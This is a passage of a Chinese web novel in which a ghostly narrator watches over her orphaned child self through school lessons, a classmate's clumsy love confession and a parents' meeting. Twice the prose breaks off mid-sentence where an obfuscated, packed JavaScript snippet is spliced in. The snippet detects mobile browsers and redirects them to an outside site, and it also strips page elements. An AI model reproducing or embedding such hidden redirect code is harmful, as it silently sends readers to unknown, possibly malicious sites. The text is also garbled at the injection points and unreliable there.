在烂萝卜男还没来学校之前，我常常想方设法地提醒赵老师，一定要防着那个搞体育的烂萝卜男，可惜赵老师不撞南墙不回头，总觉得大菲比和小菲比梦里梦外的提醒都是巧合…… 我请小菲比去提醒赵老师之际，她问过我为什么要赵老师防着体育老尸，她打破砂锅问到底，想知道真相才肯去做这件事，我只好告诉她未来即将发生的悲催之事。这使得小菲比更加讨厌数学课，但目前的老体育老师人不错，她还不会波及无辜，所以她只讨厌数学课。 数学老师整天黑着脸，她还不许小孩子们在课上去上厕所，小菲比去厕所需要很大的决心，因为她是从教室后面匍匐着溜去如厕。菲比写信举报过数学老尸，这个老鸡婆后来就懒得再管她了。既然小菲比对数学课感到讨厌和沉重，她出去上厕所后，就开始逃课去操场上玩，那是她第一次逃课。 同学们传闻操场的尽头原本是墓地，于是，青天白日之下，小菲比来到墓地和她想象中的逝者讲话，她还会把我给召唤出来。我告诉她，那是假的，咱们的福利院和学校都没有建立在墓地上。 这时菲比再次问我，那你是假的吗？ 我耸耸肩说：“不是吧，我们真实地存在彼此的眼前，这样的亲身经历不会是假的。” 小菲比赞同。数学课过后是她很喜欢的书法课和社团美术课。她跟着快下课的时间回到了教学楼，班上好些学生迫不及待地等着下课，有的学生盯着教室里的钟表等待下课后的自由，而有手表的西伯利亚会看着手表，小声地读秒数，倒数下课的时间，紧跟着立即通知周围的同学们下课了! 数学老尸喜欢拖堂，西伯利亚面对讨厌的老师可是很闹腾的，想方设法地让她拖不了堂。西伯利亚是同学们的救星，是数学老尸的克星，每当她面对这个泼皮学生，不管她怎么打他都打不服。 西伯利亚疯来疯去就是不听她的话，理由是她长得比他丑，丑得要死，那张圆饼脸丑，人品更丑。他认为小菲比实在是说得太对了，如果赵老师是全校最美的女老师，那么数学老尸就是全校最丑的圆不隆咚的鸡婆，她平时那么爱扯学生们的头发，实际上她的头发不用扯都跟鸡窝一样。 数学老尸的鸡窝头，是我的灵魂报复她而扯出来的，谁叫她老扯我小时候的头发，后来烦恼又头痛的她干脆把长发都剪成了短发。 数学老尸下课离去时，我也在后面拔她的头发，乱扯一通，她抱头逃窜觉得中了邪，头皮怎么总扯得痛呢？她下定决心要去剪头发了。 我捉弄着这个会虐待小孩的数学老尸，眨眼间跟到了办公室去，当她向语文老师抱怨小菲比上厕所逃课。办公室里不同的老师都谈起了小菲比，除了数学老师和个别也喜欢虐待学生的任课老师讨厌这个孩子，大家都觉得她挺乖巧的，然后他们话里话外意有所指地问数学老师，你是不是没控制住脾气又虐待孩子们了？ 数学老尸说她今天没有对学生们动手，他们不太相信，认为不然小菲比怎么会到逃课的地步呢？数学老尸与他们话不投机，说了一句爱信不信，便气呼呼地回到自己的办公桌备课了。 和蔼可亲的老书法老师出办公室前，得意地说，学生们上他的课都很乖和自律，他们每次都认真地自习呢，反正他对他们很好。 书法老师是一位略胖的戴眼镜的男老师，他通常讲一会儿字体的写法，就吩咐大家拿出字帖自己练习。 小菲比不是很描得准薄纸上面的字体，她练钢笔字的时候，我会出现在她的身后，下巴磕着她的头顶，伸出双手握着她的手控制着力度写字，帮助她写出更好看的字，按照这个感觉写下去。我们合作着写久了，她自己慢慢找到了感觉。她的字规整中带着锋芒，后来写习惯了就变成凌乱中透着笔锋。 刘逞美高效率地抄完字帖就转笔玩耍，小菲比有段时间看见同桌老是转笔，她也学会了用食指和中指操控着整支笔轻盈地转动，后来上课的时候，她也常常不自觉地转笔和踮脚抖动，因为她思考得越多，脑子高速运转起来，身体也想动起来。 最后一节时间稍长的课，是大部分学生都喜欢的课程。学校改动策略，安排学生们在最后一节课参加各自喜欢的社团活动，提早培养孩子们的兴趣，让每个人自由地选择进修技能。如果学生们学习了一段时间的社团课，想换课也可以申请，条件是报课间隔的时间不能太短。 菲比参加过美术课和声乐课。在美术课上，她学习着简笔画，先画了一棵枝繁叶茂的大树，再用铅笔把大树画成素描画的样子，她在艺术方面是有些天赋的。等小菲比画画的技术成熟以后，她居然把我大概的身影给画了出来，还在人物的头上画了光晕，最后画了一对纯洁的翅膀，右下角写下我的守护神几个字。 我隐约记得这张画，可我早已不记得是什么时候画的了，我小时候以为这或许是妈妈的身影。 小菲比自言自语地说，她真想给满秋看看这张画，满秋之前说过想看看她幻想出来的天使姐姐长什么模样。傍晚回到彩虹儿童院，她将这幅画交给了梅香院长，希望梅香妈妈帮忙把这幅画寄给满秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而小菲比考试的时候，她仍旧有很多题做不出来，为了寄画给满秋，我只好帮她作了一次弊，亲自握着她的小手写出了很多题的答案，但是没有令她全部做对，那样显得太假了。她知道是我在帮她，连忙感谢守护神。我提醒她，下不为例，以后还是要靠自己学习。 到了小菲比上其他课的时候，有时老师上课抽问抽中了懵然的菲比，我还是没忍住帮她作弊了，我真不想看见她在全班出糗的样子。 当忐忑不安的小菲比答不出来问题，我有时靠在她耳边说答案，有时吹起了书页翻到答案那边，或者撞了撞知道答案并会帮助她的同学们。哦好险，正是因为好险，没想到她在作弊的同时记住了答案。不过她心情波动起来，就容易影响肠胃，便不得不如厕。幸好她回答对了问题，任课老师们才顺眼地同意她去厕所了。 小时候我就已经学会帮人作弊这招了，西伯利亚总把漫画献上送给小菲比阅读，当这是学费，苦苦求她教他写作文，其实也就是她直接念出来，他写上去就完成了，他要求她多编几句作文就好，这样很省事。 小菲比嘱咐西伯利亚多多看书，阅读词句优美和有意义的文学书，可他就爱看漫画。她摇摇头觉得他无药可救，不过她认为，他听写多了作文，总能积累点词语吧。 小菲比摇头觉得西伯利亚无药可救的模样，简直像我帮她作弊时摇头觉得她无药可救的样子。 小菲比上语文是最让我省心的，我也可以休息下来一起听课啦。那天赵老师在黑板上写下主题《我的理想》以后，便转身向学生们提问，大家长大以后的梦想是什么呢？每个人都要写两百字的作文交上来哦。 小菲比的梦想是做警察和老师，或者成为作家和宇航员，以及有品味的音乐家。她想要成为的大人是多种多样的，有很多不同的理想，多写一点总能实现其中一个。她写的作文虽然稚嫩，但是充满赤子之心。 我叫李菲比，价值不菲的菲，无与伦比的比。我相信我的理想像我的名字一样有意义，我的理想有很多，多到爱幻想的我充满期待，我的梦想是做正义的警察扶弱抑强，是做赵老师这么高尚的老师教书育人，是成为有很多想法的作家写很多个故事，是做神奇的宇航员遨游在宇宙之中，是喜欢音乐在未来打工赚钱学乐器成为音乐家……但我最想成为的理想是做自己，我现在还不知道哪一个理想是我自己真正想要的，但是我会慢慢地来看清自己的内心，安心等着自己长大，我的人生道路就能到达平静的海面，那是我遥不可及的大海…… 小菲比从小的作文总是超出规定的字数，拼音也不少，她一写作起来就喋喋不休，很噜苏。所以西伯利亚在写作文这件事上，很崇拜小菲比能写出密密麻麻的字，而他憋半天才能放出一句屁话来。 小菲比教他把平时对同学们嬉皮笑脸说的话，直接放进作文里，不是多少能写点儿话出来吗？可是西伯利亚一面对作文，就无话可说，他千真万确讨厌作文，讨厌到不想说话。不过在菲比的引导下，他至少也写过一篇字很多的作文出来。 小西伯利亚自己写的最完整的一篇作文是：在同学的嘴里，我是俄罗斯的西伯利亚，我能有什么梦想？难道是去西伯利亚挖土豆吗？我的梦想是回上辈子的老家吗？不可能，噢我的上帝，真别说，我爷爷每天都给我做土豆，你知道我为什么每天早起去学校吃饭吗？我上辈子真是杀了土豆全家，因为我们家早上吃土豆，中午吃土豆，晚上也吃土豆。土豆是爷爷的最爱，只有我吃够了土豆，我永远都不可能回到西伯利亚。所以我现在才想好了我的理想，那就是长大以后永久地居住在中国，卖废品攒够了钱换一个地方吃饭，不再吃土豆。我的理想是，不吃土豆。谁给我吃土豆，谁就是在给我下毒。我爷爷可真是个五毒俱全的老家伙，一个老土豆精罢了。 我中学的语文老师教我们，想看你的作文写得通不通顺，有没有及格，你就把文章读出来就行了。如果念出来的确是在流畅地讲故事，并富有感情，那就是不错的作品。如果念出来的句子夹杂了很多华丽空洞的形容词，读着让人觉得尴尬，故事还讲得磕磕巴巴，那么它就不及格。 当我的灵魂读出小西伯利亚的作文，没想到听起来很通顺，只是有点儿滑稽。 西伯利亚真是个滑稽的小子。我当年在嘴上没有和他做好朋友，真是一件不明智的事情。 8. 小幸运 你们知道小菲比为什么坚持不在表面上和西伯利亚做好朋友吗？ 那得从小西伯利亚不知哪根筋不对——看上了小菲比开始说起。好像得从他的作文《我的理想不吃土豆》开始，虽然他的作文写得好像没有那么正经，但是赵老师读这篇作文读笑了。那是赵老师第一次给他的作文打了九十分的进步分，并且把他的作文念给了同学们听，引得大家哄堂大笑，教室里一片欢声笑语。这是西伯利亚最愿意做的事情，那就是逗所有人开心。 因此他非常感谢小老师菲比引导他写出了这篇作文，他以为小菲比就是他的作文福星，没有小菲比他就写不出一个字儿，所以他把自己最爱的漫画送了两本给她。 又好像是从班级里的小组开始田径比赛说起，田径比赛的期间，不同的小组得拿到接力棒才能开始奔跑，但是在比赛的过程中，有些同学非常容易掉棒子。小菲比从来没有失手过，是我在旁边帮助她不掉棍子，当她和同学交接棍子出现意外，我都能用意念马上把棍子送回她的手中。在比赛中，我最多只能帮助小菲比一个人，否则作弊太多了，对别的孩子，就完全不公平。 有谁在跑步交接时不慎掉了棒子，那是非常容易被同学埋怨和责怪的恐怖之事。西伯利亚是最常掉接力棒的其中一个孩子，然后这导致别人都不愿意和他一组，并且总是埋怨他。要是赵老师把他塞到哪组，哪组的人都会骂他，他有好几次被同学责怪都是因为他掉接力棒，小组才输了比赛。 全班只有两个人帮西伯利亚说话，是小菲比牵着刘逞美主动地靠近硝烟十足的孩子堆，她俩一人一句话讲道，团队比赛不就是让我们学会合作精神的吗？西伯利亚也不想掉接力棒啊，谁想掉棒子呢？你们每个人不是都很紧张生怕掉了接力棒被骂吗？怪来怪去有什么用，只会让他更容易掉棒子，比赛重要的是心态，就不能多给他一点儿包容鼓励他嘛。 其他同学对小菲比说，你是从来不掉接力棒的优秀运动员，你站着说话不腰疼是说得容易，凭什么要我们组承受因为他一个人必输的结果。我们一直输掉得不到赵老师奖励的第一名糖果，这多可惜!真让人生气!你那么厉害，就把这扫把星送给你们组好了! 其实小菲比和西伯利亚差不多，她也总爱掉接力棒，要不是我，她能被全班轮着埋怨责备，班上其他人说不定会把他俩凑成一对扫把星搭档。 小菲比大言不惭地将西伯利亚拉到了自己的组里，使得组里的其他队友把小菲比和刘逞美一块儿骂了。为了不让小菲比和刘逞美被整个组的队友臭骂，我的灵魂不得不下场，多余帮了一个人——小西伯利亚，我帮他俩的时候都觉得不好意思，真心觉得破坏了比赛的公平性。但是我舍不得小菲比做了勇敢而危险的决定被骂，我想鼓励他们。 大家以为是小菲比和刘逞美的包容，让西伯利亚真的进步不再掉接力棒了。那是事实，虽然我前面帮西伯利亚作了几次弊，但是后来他感觉到好像不再会掉棒子了，就游刃有余地拿接力棒，靠友好积极的氛围学会了拿稳接力棒。 只有小菲比那个盲目自信的小家伙，次次掉棒子，还以为她拿得可稳了，长了发达的四肢，怎么都弄不掉接力棒，跑步怎么都不会落后于人。 我担心自己会惯坏她，后来到了五月学校开展运动会，西伯利亚、刘逞美和小菲比三个人再次组到了一起，为班级参加比赛，大家都有输输赢赢的时候，我不想小菲比觉得她能一直赢，就有时帮忙，有时旁观，协助她真正地学会团队合作和进步。几个孩子在比赛中称他们的队伍为三剑客。 忙碌的五六月既要训练运动，又要为六一儿童节筹备表演。小三剑客都参加了歌舞话剧，都是老师们选他们去队伍里。小菲比和刘逞美需要学会简单的儿童芭蕾舞，台上一分钟，台下十年功，别看儿童芭蕾舞好似比较简单，对于她们来说十分困难，得从基本功开始学习。 她们每天中午都得穿舞蹈鞋去舞蹈室练舞，练习脚上的花式动作，女孩子们每次压韧带都很疼，小菲比和刘逞美都痛哭了，可是既然她们想参加舞蹈表演，我就不能再帮她们作弊了，我最多在老师训练她们的时候，稍微减轻一些她们拉韧带的痛苦。关于舞蹈鞋和芭蕾裙子的费用，学校叫孩子们回家找父母交钱，梅香妈妈知道小菲比能参加表演，很欣慰地把这笔钱拨给她了。 而西伯利亚在歌舞话剧里饰演的是一个丑角，相对来说他比较轻松，不需要承受身体上的疼痛，只需要琢磨演技，反正他一向喜欢插科打诨，演了一个喜庆的角色难不倒他。 当时还有另外一群孩子表演唱花仙子呢，在他们舞蹈室的隔壁练歌，那里总是传出“噜噜噜捋捋，噜噜噜捋捋……”的合奏歌声，起初小菲比也只会哼前奏的调子，记不住一句其他歌词，等时间一久听多了，她也能脱口唱出歌词了。 后来大家在剧场的大堂彩排练歌舞话剧，西伯利亚练好了角色，接下来就只关注小菲比一个人，我坐在他的旁边一起欣赏小菲比的舞姿。我在这时候就已经感觉到，这个粗鲁善良的小男孩儿喜欢她。西伯利亚在休息的空档还总凑到小菲比面前问，嗨，我们是朋友吧？ 小菲比从不在嘴上把西伯利亚当做朋友，只肯牵着刘逞美的小手，实际上他们三个经常一起玩，已经行了朋友之实。 大家在排练的期间，西伯利亚趁休息下来忍不住向他的兄弟们说出，他喜欢上了小菲比的事情，急问大家能不能给他出个主意，小菲比连朋友都不愿意和他做，真让他烦恼。 兄弟们露出八卦的神色，犹如缺乏营养的小狗闻到了狗屎迫不及待想吃，他们连忙问他为什么喜欢李菲比？他们没看出来语文课代表有多好看，也就中等之姿，脾气还有些凶哩。 西伯利亚骂他们懂什么!他觉得菲比的名字好听，她长得很可爱，个性也文静坚韧，乐于助人，反正哪里都好，他就喜欢凶的女生。 兄弟们交头接耳地讨论一阵，好像噪鹃难听凄厉地鬼叫着，他们一起出主意，劝西伯利亚平时多送点吃的给女生，人家彩排累了，可以送两瓶饮料红茶和几包零食，而且追女孩儿还要送东西给她的闺蜜。他们家里的哥哥就是这么追女生的。 西伯利亚想了想，他表哥好像也是这么追女生的，于是他采取了这个方法，追女生送零食，也送给刘逞美零食。他还紧张地要兄弟们帮他保守这个秘密呢，谁知道他们一个个都是校广播那喇叭似的大嘴巴，互相兴奋地传来传去，传得隔壁班和办公室里的老师都知道西伯利亚喜欢小菲比啦。 等西伯利亚送了一段时间零食给小菲比和刘逞美，见她们并不排斥他，甚至也一起与他分享零食，他感觉友情到达了顶峰，时间成熟了，于是先东拼西凑地抄了一封情书给小菲比：美丽的菲比，我第二眼看到你，才喜欢上了你。你知道吗？爱情像夹心糖果，甜蜜流心，不管你是什么夹心，我都把你包入我的心里和肋骨里，我的肋骨外翻是因为你太甜了，包都包不住的甜，蜂蜜都不及你甜。我对你的喜欢就像无底洞一样，永远没有底，不信你进来看一看，我就把你关在充满喜欢的洞里，让你叫天天不灵，叫地地不应。你的家就是我未来的家，我会去你家楼下等你，亲自给你送玫瑰花。请你不要不开门，骂我神经病。我是爱你的神，但不经病。喜欢你的陆西伯，我爱你的油。 我的灵魂看到这封情书的时候，笑得魂体颤抖，小西伯利亚也是我童年的乐趣之一，说真的，我感谢他的喜欢。小菲比当时却皱着眉头，一脸嫌弃地把情书带回去寄给了满秋，但她求梅香院长千万不能看她的信，她只是想向昔日的朋友炫耀她收到的第一份神经质的情书，证明她的人缘还不错，只是追求者有点儿磕碜。 满秋回信的其中一句话是：我的隔夜饭从肠子里倒流回了胃里，西伯病入膏肓，速速远离。 最后看了些台剧的满秋直接地写道：靠北，有人敢觊觎你耶，吼!我真想暴揍他一顿，谁给他的狗胆敢勾引我的好朋友，肯定是他那堆不知所谓的兄弟，务必远离你们班的男生，一而再，再而三地远离，不要年纪轻轻被他们拐走，这么小就学会拱野菜的小猪一定不是好货喔。 不用满秋提醒，小菲比本来就不打算小小年纪谈恋爱。 在小菲比准备前去剧场彩排的那个中午，西伯利亚终于向小菲比表达心意了。表白的场景是，西伯利亚拿小卖部买来的五毛钱玩具在教室晃来晃去，企图用玩具减低自己的焦虑不安，他的粘手玩具是黏糊糊的软体，可以拉长，手掌也能甩出去粘贴在墙面。 于是他对着墙面把软手掌甩来甩去，然后在菲比路过的片刻时间，他立刻把假手掌使劲儿地甩到了黑板上，奇怪地借助玩具手掌壁咚小菲比，目光深情地问：“李菲比，我喜欢你，这事大家都知道了，他们真的很不要脸到处传!我脸都没了，谁都知道我暗恋你，事到如今，你愿意做我的女朋友吗？如果你愿意做我的女朋友，以后你的零食和作业我都包了!上中学和大学我也跟你一个学校，美女愿意的话，你就跟老鼠一样吱一声。” 全班起哄之间，不理解的小菲比微笑着拒绝了西伯利亚的神经表白，一片哗然后。西伯利亚就借着玩真心话大冒险输了的借口给自己找了台阶下，他大声说：“别想多了，一切都是误会，俺大冒险输了才来给你表白呢!愿赌服输，反正我还没到五六年级呢，太早谈恋爱也不好，过早产生很多的雄性激素，影响发育。” 我们在小学早就听说了其他小屁孩各种谈恋爱的事情，还流行一首童谣，什么一年级的小偷二年级的贼、三年级的美女没人追、四年级的帅哥一大堆、五年级的情书满天飞、六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630350|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年级的情侣一对对。 西伯利亚被拒绝的那天下午都不去练习表演了，他趴在桌上哭着睡着了，连老师都知道他失恋的事情，没去打扰他一个人静静的状态。我好奇地观察着这个小表白者，没注意被他睡觉的漩涡吸入了忧伤的梦境里。 我看见西伯利亚坐在空荡冒绿光的教室里，他从本子上撕掉了一页一页的纸张，上面写着菲比的很多个名字，他把纸张放到面前的火堆里，嘶哑地流着泪说：菲比，永别了我的爱。 他甚至念了一首改编自泰戈尔的诗，我们那个年代很流行这首诗，他会背完并不奇怪。他念道：世界上最遥远的距离，不是生与死，而是我就站在你面前，你却拒绝了我爱你。 世界上最遥远的距离，不是我就站在你面前，你却拒绝了我爱你，而是明明知道我很爱你，却不能在一起。 世界上最遥远的距离，不是明明知道我很爱你却不能在一起，而是明明无法抵挡这股想念，却还得故意装作丝毫没有把你放在心里。 世界上最遥远的距离，不是明明无法抵挡这股想念却还得故意装作丝毫没有把你放在心里，而是用自己冷漠的心对我爱的人掘了一条无法跨越的沟渠。 西伯利亚在梦里念诗烧完了名字的纸张，他跪在摇曳的火堆面前，情深义重地磕了一个头，祭奠他死去的暗恋。 我捂嘴险些笑出来，就算我不答应和小追求者在一起，可我从小到大都并不反感有人喜欢我、爱我呀，我想了想，化身为小菲比上前宽慰他：小可爱西伯，你别太伤心啊，我们毕竟还小嘛，大家做不成情人，还可以做朋友啊，你要好好振作起来的哦，我超级感动，谢谢你的喜欢，我很开心曾经有你喜欢我…… 西伯利亚肉眼可见地不再难过，还有点儿开心我感谢他的喜欢，他止住了哭泣，突然笑出了绿色的鼻涕泡。 等这之前撕心裂肺，现在睡饱了变得心态平静的小子醒来后，我看见他把现实里写了菲比名字的本子拿了出来翻看，他松了一口气，然后觉得不太安心，就用圆规在课桌上刻下LFB的字母，也在书本上重新写下了菲比的名字，还有小菲菲，小比比这么肉麻的称呼呢。长大后的我看了都一阵起鸡皮疙瘩，也当乐子看呢。 后来西伯利亚尊重小菲比的选择，一直和她做朋友，虽然他们做不了好朋友，他也能成为经常和她一起玩的朋友，对他来说就足够了。他依然会时常买零食送给她和她的小姐妹。全班闹了一阵轰动的八卦，在赵老师严肃地公开讲什么是真正的喜欢和爱之后，教育学生们别再起无聊的哄，这个年纪好好学习才是正经的，大家就慢慢地消停了。 在小学中年级的那一年，送零食给小菲比的男生可不止一个呢，还有一个是菲比不认识的同校哥哥，他这时看起来长得挺低调又机灵，一脸纯良。 某日小菲比和刘逞美吃完饭，一起散步到附近的草地上聊天，刘逞美好奇地问了关于福利院里面的事情，小菲比就讲起那些事情……后面有个坐着发呆的高年级男孩儿不动声色地听到了内容，就回头看了一眼两个女生。小菲比和刘逞美发现，附近有人似乎注意到她们的谈话内容后，她俩就离开这片绿油油的草坪，去了远处的大树下悠哉聊天。 然后那天放学的傍晚，刘逞美有事早走了，拜托好朋友帮忙打扫卫生，于是只剩小菲比一个人打扫绿化带除杂草，中途有只大蜘蛛从树上突然掉到她身上，她发现肩膀上痒痒的地方出现什么东西以后，完全吓得动弹不得，她最怕虫子了，更别说是黑茸茸的大蜘蛛!简直恐怖至极，比鬼都要可怕! 小菲比嘴里尖叫起来，大喊守护神，快把蜘蛛弄走的时候，我就是死了也不敢直接上手碰虫子，一时也被大蜘蛛吓到了，忘记了自己能用意念弄开它。 我和小菲比都头脑空白的片刻，隔壁班绿化带里那个高年级小男孩儿看见了，他径直大步走来利落地帮她弹走了虫子。 小菲比拍拍胸脯，舒了一口气，并马上谢谢了高年级的哥哥。 高年级男孩儿居然还从裤兜里搜出一只草莓味的棒棒糖递给她压惊，嘴上却说是买多了、吃腻了就不想吃了，请她帮忙解决一下，就算是谢他了。 菲比迟疑地接下糖果，他们异口同声地向对方道谢了，真叫她摸不着头脑，她想好好感谢一下他，想问他是几班的？叫什么名字？ 高年级男孩儿却转身很快地走了，似乎没听见她的话，再跟着远处有人喊他，他就跑得不见踪影。 她耸耸肩膀，低头迫不及待地剥了粉糖的塑料壳，一口吃上了棒棒糖，这意外之喜令她很快乐，她正好喜欢吃糖呢。 她感觉自己最近特别幸运，不仅被西伯利亚喜欢着，还有刘逞美这个好朋友时刻支持她所有的决定，最后化险为夷地得到大哥哥的草莓味棒棒糖。 9. 家长会 周五下午的家长会，小菲比终于正式见到了刘逞美的父母，在这之前，大部分都是刘逞美的妈妈开着私家车来接孩子，校门口放学的高峰期拥挤，小菲比和她们最多互相打个友好的招呼，刘逞美的妈妈每次就把女儿匆匆地带走了。 在那个年代谁家有一辆私家车都算是富裕的事情，而且刘逞美家的黑车看起来很奢华气派，听说是国外有型而酷酷的名牌车。小菲比不认识名牌，不知道那个国家，她是听了西伯利亚精彩地讲解才了解些。 在家长会的热闹下午，小菲比终于能多看看刘逞美的父母了，她简直崇拜极了同学们的父母，更不用说是好朋友的父母了。 刘逞美的爸爸穿了一套合身的英式复古西装，如同他买的两辆私家车那么阔气。刘逞美的妈妈一身香奈儿连衣裙，还带了闪耀的钻石项链和珠宝耳坠，这是小菲比听其他家长谈起了刘逞美妈妈身上的打扮，知道的内容，再然后小菲比才明白刘逞美平时穿的衣服和鞋子也都是名牌货。学生们上学有时要穿校服，有时能穿自己的衣服，得看是星期几。 在这件事上，小菲比羡慕的不是他们的名牌服饰，而是刘逞美的父母会给他们自己和女儿买各式各样的新衣服穿，并且尽量往品质好的料子采买。 小菲比平时身上所穿的衣服，有的是新的，有的是别人捐赠的二手童装。虽然她羡慕刘逞美的生活，但是她觉得自己没有光着身子在大街上裸奔，没有穿得破破烂烂就算知足了。 刘逞美急拉来父母向他们介绍，小菲比是她在学校的好朋友，而小菲比微笑着喊了他们几声叔叔和阿姨，他们所做的最亲昵的动作，只是随意地摸了摸小菲比的脑袋，小菲比也窃喜得红了耳朵。 即使刘逞美的父母比较客套，没有对小菲比展现出过多的热情，以及其他同学的父母都只是向她打招呼，可小菲比就是很想得到叔叔和阿姨们的拥抱，她莫名以为同学和朋友的父母都是很厉害的角色，各自能在社会上立足，有上进的神秘工作和稳定的佣金。 连西伯利亚那位捡废品的爷爷，她都很崇拜呢。西伯利亚的父母在外地工作很忙碌，没有到校，只有爷爷停了一天收废品的工作，来参加爱孙的家长会。老爷爷到了学校里都不忘拾荒捡空瓶子之类的东西，准备带回废品站，他还教孩子们什么东西可以回收，什么东西不能回收。 小菲比蹲在热心传授知识的老爷爷身边听讲解，班里有几个调皮捣蛋的男孩子，因为西伯利亚那篇作文，就围绕在老爷爷身边嘻嘻哈哈地管他叫老土豆精。老爷爷并不生气，反倒是坦然承认了，他就是老土豆精变的怪物，晚上等他们睡着了，他就把他们变成迷你土豆送到西伯利亚去。 老爷爷早知同学们给他的外孙取外号叫西伯利亚了，所以他就想吓唬吓唬他们。西伯利亚自己可以称呼爷爷是老土豆精，但是他不喜欢别人戏弄他的爷爷，他立马黑脸发了火，还跑到老师和家长那里告状。这群孩子在大人的教育下，不得不向老爷爷道歉并收敛了。 小菲比也阻止男孩儿们顽皮地叫爷爷老土豆精，她还教训西伯利亚说，都怪他非要在作文后面加上那么一句话，现在好了吧，谁都觉得爷爷是老土豆精了，这就叫第一印象。 西伯利亚很快就认错，向小菲比和爷爷都承认是他草率了。 老爷爷已晓得西伯利亚喜欢的女孩儿是小菲比，他今天来学校正想看看孙子喜欢的女孩儿是什么样的，没想到真令人满意，他还以为自己那歪瓜裂枣的孙子，看上的说不定也是歪瓜裂枣的女生，结果那小女孩儿的五官和品行看起来再端正不过了。 老爷爷还想见一下小菲比的父母，想着给孙子在口头上定个娃娃亲也不是不行。他笑问小菲比关于这件事的时候，小菲比想都没想一口拒绝了。她真诚地说人心难测，小时候喜欢的东西，长大以后不一定喜欢，订娃娃亲也是很草率的事情，得经过小孩儿的意愿，还要经过长大以后的他们的意愿呢。 小菲比后来与刘逞美嘀咕，西伯利亚的爷爷应该就是梅香院长说的，想骗女孩子早早嫁人生娃娃的老鬼吧。幸好梅香妈妈有先见之明教过她们女孩子，否则不知道情况的话，她还真有可能被人骗了，毕竟她多么渴望拥有一个家庭。 而西伯利亚昨晚就吵闹地跪求爷爷帮他订娃娃亲，假使爷爷明面上不答应，他还做作地绝食呢，正好不用吃土豆了。宠溺孙子的爷爷既然已经帮西伯利亚问过此事，就完成任务似的向孙子表示，人家女孩子聪明着呢，轻易哄不回家，那得靠你自己以后再接再厉咯。 西伯利亚越想越觉得爷爷没有太上心争取，他烦得转向左边，突然使劲儿地抱住“爷爷”的大腿，死命地摇晃起来，一副想把爷爷的大腿摇折了的干劲儿，他作得不得了地闹脾气喊道：“呜呜……不干不干嘛爷爷，你再去帮我争取呀!你不帮我找媳妇，我以后给你养老的时候就不给你吃土豆!我还要把土豆摆在你面前，让你光看着不能吃!让你流一地的口水!老土豆精!你说话不算话!呜呜你到底帮不帮我娶媳妇!你别说不!快嘛快嘛你快去!你……” 他疯狂地摇了一会儿“爷爷”，才仰头看见那是别人的家长，那老大哥龇牙咧嘴地俯视着小孩儿，喜庆地笑道：“哎哟，孙子别急嘛，你比我家儿子出息啊，这么小就知道闹着要找媳妇，没看出来你小小年纪还是个情种啊，我上次听我儿子说了他们班有个叫西伯利亚的小子忒有意思，啥都敢做，当众表白被拒了找面子说玩大冒险的事也干了，你应该就是西伯利亚吧……” “不是啊……谁会干那种脑子被门挤了的事……”西伯利亚即刻否认了，他发现摇错大人以后，方圆脸上的神情转瞬间就从哭闹转为了眯眼尴尬，他讪讪地撒手逃跑，气急败坏地撑起脖子到处去找乱跑的爷爷，想算账呢。他的视线转了一圈，才发现爷爷已经抱着小菲比去了另一边墙面，似乎是跟对方的家长正在商量事情，他方才认错人的赧然表情和气愤感渐渐好转了，便上前侧耳倾听。 学校举办家长会时，是福利院里的工作人员来充当菲比的父母一方参加活动。小菲比早就同院儿里做主的大人商量过了，不能在家长会泄露她是孤儿的事。福利院里其他孩子的临时父母，有的也是工作人员来参加家长会，有的则是寄养家庭的父母理所应当地充当亲生家长。 除了老鬼想骗她早嫁人的事，小菲比觉得老爷爷目前挺和蔼慈祥，当然愿意被和气的老人家抱一抱。老爷爷与小菲比的临时妈妈聊了几句，说定娃娃亲也是开玩笑哄他孙子呢。不然他孙子闹腾得人头痛欲裂，饭也不吃了，真是个犟驴。 这话被偷听墙角的西伯利亚听去了，他又开始摇晃他爷爷的大腿一哭二闹了起来，照旧威胁着等爷爷老了不给老人家吃土豆的事。爷爷迫不得已把小菲比放下来了，他空出瘦巴巴的双手，心烦意乱地想将孙子提起来，但西伯利亚的双臂如螃蟹夹子，爷爷掰都掰不动死小子的手，只好拖着孩子进教室说要找老师去。 小菲比摇摇头叹气说她自己到底造了什么孽，吸引了这种小子。使得周围的家长和小孩都在看他们的热闹，人们三三两两发出笑声，时不时说几句令人害羞的闲话。 谁教训西伯利亚都没用，解铃还须系铃人，哭笑不得的赵老师便来找小菲比帮忙了。直到小菲比威胁西伯利亚再闹下去，朋友都不跟他做了，他逐渐收敛了大闹家长会的气势，不过他依旧抱着爷爷的大腿不撒手，家长们坐在椅子上听老师讲话的时候，他也坐在爷爷的脚边抱腿继续持之以恒地微晃，晃到后来他的脑袋一偏搁在了爷爷的腿上，睡着流了口水。 小菲比看着同学们的家人来到学校配合家长会的一切，百味杂陈，神态羡慕并失落。她不停地观察着别人形形色色的亲生父母，暂觉大部分同学都好幸福。 我从前是很喜欢在家长会那天观察所有人，我若是看到好父母，就会替同学高兴，若是看到不怎么样的凶父母，就会心想说不定是我的亲生父母太差劲，上天宁愿安排我在福利院生活以及长大了孤身一人，没人来给我添堵。 有家长得知，自家孩子成绩不及格还以假乱真地代家长签字以后，当场就猛扇孩子的耳光，扇得孩子流鼻血，仍然一副骂骂咧 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我的意念能力忽大忽小，先前也在尽量阻止疯家长，可他想揍孩子的意念太强，力气也不小，我的意念正和他极限拉扯着，直到他把孩子往窗户上丢，我激愤起来意念力量就源源不断地增加了，才终于帮着众人把嗓子都哭哑的孩子救了下来。 班主任也气得拿鞭子往凶狠男人身上抽打，警告他再胡作非为地乱教育孩子，她要报警了! 